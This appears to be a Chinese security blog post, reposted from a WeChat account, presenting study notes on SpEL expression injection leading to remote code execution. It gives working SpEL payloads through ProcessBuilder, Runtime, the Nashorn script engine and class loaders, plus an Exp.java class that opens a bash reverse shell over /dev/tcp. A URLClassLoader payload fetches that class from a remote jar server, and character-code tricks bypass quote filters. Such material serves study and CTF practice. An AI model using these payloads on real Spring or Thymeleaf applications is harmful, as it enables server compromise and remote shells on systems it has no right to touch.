表达式注入学习

  • A+
所属分类:安全开发

表达式注入学习

前言

研究了一下SpEL注入RCE分析以及技巧,做了总结拿来分享一下,抛砖引玉。

SpEL注入基础

SpEL简介

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

基本用法:

SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值

示例1:不注册新变量的用法

ExpressionParser parser = new SpelExpressionParser();//创建解析器Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式System.out.println( exp.getValue() );//取值,Hello World!

示例2:自定义注册加载变量的用法

public class Spel {     public String name = "何止";     public static void main(String[] args) {         Spel user = new Spel();         StandardEvaluationContext context=new StandardEvaluationContext();         context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量         SpelExpressionParser parser = new SpelExpressionParser();//创建解析器         Expression expression = parser.parseExpression("#user.name");//解析表达式         System.out.println( expression.getValue(context).toString() );//取值,输出何止     }}

了解了基本用法之后,我们可以通过创建实例,调用方法先构造几个rce的payload

会用到的语法

spel语法中的T()操作符 , T()操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名(),后面会用得到

spel中的#操作符可以用于标记对象

RCE第一部分

第一部分就是最基础的思路 : 新建实例 , 调用命令执行方法

01 : 调用ProcessBuilder

java代码

String[] str = new String[]{"open","/System/Applications/Calculator.app"};ProcessBuilder p = new ProcessBuilder( str );p.start();//打开计算器

spel中也可以使用new来构造,写法几乎一样,我们可以把表达式简化为一行

new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()

完整的执行代码

String cmdStr = "new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()";ExpressionParser parser = new SpelExpressionParser();//创建解析器Expression exp = parser.parseExpression(cmdStr);//解析表达式System.out.println( exp.getValue() );//弹出计算器

当然java.lang包下的类无需使用全限定类名,故表达式可简化来bypass

new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()

02 : 调用RunTime

java调用,由于Runtime类使用了单例模式-饿汉式,需要调用Runtime的静态方法得到Runtime实例

Runtime rt = Runtime.getRuntime();//rt.exec(new String[]{"open","/System/Applications/Calculator.app"});

和上个用法略有不同解释在payload后给出

使用string参数 (java.lang包下的类不需要加全限定类名)

T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")

字符串数组方法调用

T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})

解释: 由于RunTime类使用了单例模式 ,获取对象的话不能直接通过构造方法获得,必须通过静态方法getRuntime来获得 , 其源码可参考下图 , 调用静态方法的话需要使用SpEL的T()操作符,T()操作符会返回一个object.

03 : 调用ScriptEngine

ruilin师傅的文章学到还可以用js引擎(不知道能不能用颜文字或者其他js绕过的方法到这里,暂时没实验成功,测试成的师傅可以分享下).

获取所有js引擎信息

public static void main(String[] args) {         ScriptEngineManager manager = new ScriptEngineManager();         List factories = manager.getEngineFactories();
        for (ScriptEngineFactory factory: factories){
                System.out.printf(
                    "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
                    "Language version: %s%n" +
                    "Extensions: %s%n" +
                    "Mime types: %s%n" +
                    "Names: %s%n",
                    factory.getEngineName(),
                    factory.getEngineVersion(),
                    factory.getLanguageName(),
                    factory.getLanguageVersion(),
                    factory.getExtensions(),
                    factory.getMimeTypes(),
                    factory.getNames()
                );
        }
 }

Name: Oracle Nashorn
Version: 1.8.0_261
Language name: ECMAScript
Language version: ECMA - 262 Edition 5.1
Extensions: [js]
Mime types: [application/javascript, application/ecmascript, text/javascript, text/ecmascript]
Names: [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

通过结果中的Names,我们知道了所有的js引擎名称故getEngineByName的参数可以填[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript],举个例子:

ScriptEngineManager sem = new ScriptEngineManager();ScriptEngine engine = sem.getEngineByName("nashorn");System.out.println(engine.eval("2+1"));

那么payload也就显而易见

nashorn

new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")

javascript

new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")

OK基础的第一部分到此结束

RCE第二部分

下面开始第二部分 , 思路 : 反射构造RCE ,下面反射中用到的类包括但不限于上述部分

首先简单介绍反射 :

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制

然后简单介绍ClassLoader :

JVM(java虚拟机) 拥有多种ClassLoader, 不同的 ClassLoader 会从不同的地方加载字节码文件, 加载方式可以通过不同的文件目录加载, 也可以从不同的 jar 文件加载,还包括使用网络服务地址来加载。几个重要的 ClassLoader : BootstrapClassLoaderExtensionClassLoader 和AppClassLoaderUrlClassLoader

下面构造会用到AppClassLoaderUrlClassLoader

04 : UrlClassLoader

URLClassLoader 可以加载远程类库和本地路径的类库

调用思路 : 远程加载class文件,通过函数调用或者静态代码块来调用

先构造一份Exp.jar , 放到远程vps即可

一份通过构造方法反弹shell的Exp.java实例

public class Exp{
    public Exp(String address){
        address = address.replace(":","/");
        ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
        try {
            p.start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }}

起一个http服务示例

python -m SimpleHTTPServer 8990

Payload

注意必须使用全限定类名 , 或许这个可以过一些bypass

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(http://127.0.0.1:8999/Exp.jar)}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")

05 : AppClassLoader

AppClassLoader 直接面向用户,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录

由于双亲委派的存在,它可以加载到我们想要的类

使用的前提是获取 , 获取AppClassLoader可以通过ClassLoader类的静态方法getSystemClassLoader

System.out.println(ClassLoader.getSystemClassLoader());

  • 加载Runtime执行

    由于需要调用到静态方法所以还是要用到T()操作

    T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
  • 加载ProcessBuilder执行

    T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()

06: 通过其他类获取AppClassLoader

这里我新开一个标题原因是在实际的web项目开发者会导入很多依赖的jar,或编写自定义类

实例1:

使用spel的话一定存在名为org.springframework的包,这个包下有许许多多的类,而这些类的classloader就是app

比如:org.springframework.expression.Expression类

System.out.println( org.springframework.expression.Expression.class.getClassLoader() );

那么很容易就可以得到一个获取AppClassLoader的方法 ,

T(org.springframework.expression.Expression).getClass().getClassLoader()

假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:

T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

假设有一个自定义的类那么可以:

T(com.ctf.controller.Demo).getClass().getClassLoader()

类比较多,不过多叙述

07: 通过内置对象加载UrlClassLoader

这里在0c0c0f18年的一个文章学到了两个poc,部分截图如下

{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("touch/tmp/foobar")}username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

request、response对象是web项目的常客,通过第一个poc测试发现在web项目如果引入了spel的依赖,那么这两个对象会自动被注册进去。

像这样,会发现它调用的是UrlClassLoader

第二个poc则是使用了this关键字来加载也很是巧妙

也可以获取UrlClassLoader

08: 字符串 bypass

引号被过滤不可以直接使用字符串,这里提供三种构造字符串的方法

1.T(类名).getName()会返回字符串类型的全限定类名

比如:[[${T(String).getName()}]]结果为java.lang.String

然后我们就可以使用角标来构造我们想要的字符串

[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]]#回显h3zh1

2.使用Character类构造字符串

[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]

3.外部可控字符绕过

通过web请求构造字符串,request有很多方法返回值为String也有String[]用来给getMethod或者getDeclaredMethod的方法定制参数

post方法构造字符串

#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)

get方法构造字符串

#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)

外部的cookie绕过

[[${#request.getRequestedSessionId()}]]

参考 :

Ruilin 由浅入深SpEL表达式注入漏洞 : http://rui0.cn/archives/1043

EL : https://www.runoob.com/jsp/jsp-expression-language.html

SpEL : https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions

SpringSpel注入漏洞利用 : https://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&idx=1&mid=2650174018&sn=94cd324370afc2024346f7c508ff77dd

DDCTF-2020-WEB-WriteUp : https://l3yx.github.io/2020/09/04/DDCTF-2020-WEB-WriteUp/



END


本文始发于微信公众号(网络侦查研究院):表达式注入学习